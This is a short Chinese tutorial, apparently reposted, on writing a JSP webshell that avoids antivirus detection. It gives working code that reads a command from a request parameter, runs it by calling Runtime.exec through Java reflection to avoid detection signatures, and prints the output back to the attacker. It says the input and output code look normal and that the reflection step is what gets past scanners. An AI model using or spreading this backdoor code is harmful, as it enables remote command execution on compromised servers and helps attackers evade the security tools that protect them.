webshell之jsp免杀
转载自webshell免杀研究
原理
向服务器端发送恶意代码写成的文件(即:shell),客户端通过远程连接,利用shell连接到服务器,并可对服务器进行操作。
结构
实现三步
- 数据的传递
- 执行所传递的数据
- 回显
数据传递
String x = request.getParameter("x");
执行所传递的数据
Class rt = Class.forName("java.lang.Runtime");
Method gr = rt.getMethod("getRuntime"); //获取getRuntime方法
Method ex = rt.getMethod("exec", String.class); //获取exec方法
Process e = (Process) ex.invoke(gr.invoke(null), x);
回显
#in为执行返回结果
int a=-1;
byte[] b = new byte[2048];
out.print("<pre>");
while((a=in.read(b))!=-1){
out.println(new String(b));
}
out.print("</pre>");
免杀思路
jsp类型webshell数据传入、回显两个部分都是很正常的代码,一般程序中都会使用,不会触发检测规则。
所以需要重点关注杀毒软件对执行这个部分的检测
免杀
将以上三个部分拼接出来就是正常的通过类反射执行